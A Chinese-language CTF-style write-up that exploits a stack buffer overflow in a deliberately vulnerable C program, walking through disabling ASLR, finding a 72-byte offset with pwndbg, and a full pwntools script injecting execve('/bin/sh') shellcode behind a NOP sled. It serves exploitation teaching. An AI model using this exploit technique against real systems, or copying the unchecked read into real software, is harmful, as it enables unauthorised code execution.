手写shellcode连接靶机,缓冲区溢出漏洞
题目:
首先我们看看赛题环境
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
// 禁用缓冲区
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// 存在缓冲区溢出漏洞的函数
void vuln() {
char buf[64]; // 栈上缓冲区
printf("Input your data: ");
read(0, buf, 256); // 明显的缓冲区溢出 - 读取256字节到64字节缓冲区
printf("You entered: %s\n", buf);
}
int main() {
init();
printf("Welcome to the 64-bit buffer overflow challenge!\n");
printf("This program has a classic buffer overflow vulnerability.\n");
printf("Find a way to exploit it and get a shell!\n\n");
vuln();
printf("Returned to main function. Exiting normally.\n");
return 0;
}
实战操作:
我们首先是看代码:
首先是 vuln 函数,有一个 buf[64],还有一个危险函数 read,可以发现 read 可以读取 256 到 64 字节。所以我们可以使用缓冲区溢出漏洞来进行渗透。
首先先编一下这个 vuln.c,然后为了我们后面的缓冲区溢出可以正常操作,我们还需要先关闭ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc -o shell_code shell_code.c -no-pie -fno-stack-protector -z execstack -Wno-stringop-overflow
我们可以看看这个代码的运行效果:

我们可以先用很大的一个数据把它的data填满,然后再返回地址中填写我们的shellcode。
方法一
现在进行pwndbg的调试吧,直接使用start

然后我们在pwndbg里生成模式串
我们这里直接使用pwndbg自带的cyclic来生成一堆冗杂数据来填满我们的data使其程序崩溃

从调试中可以看到这些信息:
我们发现这里的RSP没有正常的显示他的地址,不着急,可以先算算buf到RBP的距离,然后再加上旧的RBP一样可以算出来我们的偏移量
pwndbg> cyclic -l 0x6161616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)
Found at offset 64
算出来了RBP的之后,我们就可以知道RSP的了。
[buf(64字节)][旧的RBP(8字节)][返回地址(8字节)]
正确的偏移量:
- 到RBP的偏移:64字节
- 到RIP的偏移:72字节
方法二
我们也可以使用这种方法:

我们也是可以计算出偏移量的。
exp
算完之后,我们现在就可以来构造一个exp来进行攻击了
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
def exploit():
# 禁用 ASLR 运行程序
p = process(['setarch', 'x86_64', '-R', './shellcode'])
# 等待输入提示
p.recvuntil(b'Input your data: ')
# 使用更小的 shellcode (execve("/bin/sh", NULL, NULL))
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
# 偏移量
offset = 72
# 使用一个常见的栈地址 (在禁用 ASLR 时应该有效)
return_addr = 0x7fffffffe100
# 构造 payload
payload = b'A' * offset # 填充到返回地址
payload += p64(return_addr) # 覆盖返回地址
payload += b'\x90' * 50 # NOP sled
payload += shellcode # shellcode
log.info(f"Sending payload of {len(payload)} bytes")
log.info(f"Offset: {offset}")
log.info(f"Shellcode length: {len(shellcode)} bytes")
log.info(f"Return address: {hex(return_addr)}")
# 发送 payload
p.send(payload)
# 尝试获取 shell
try:
p.interactive()
except:
log.error("Exploit failed")
if __name__ == '__main__':
exploit()
然后试试效果:


浙公网安备 33010602011771号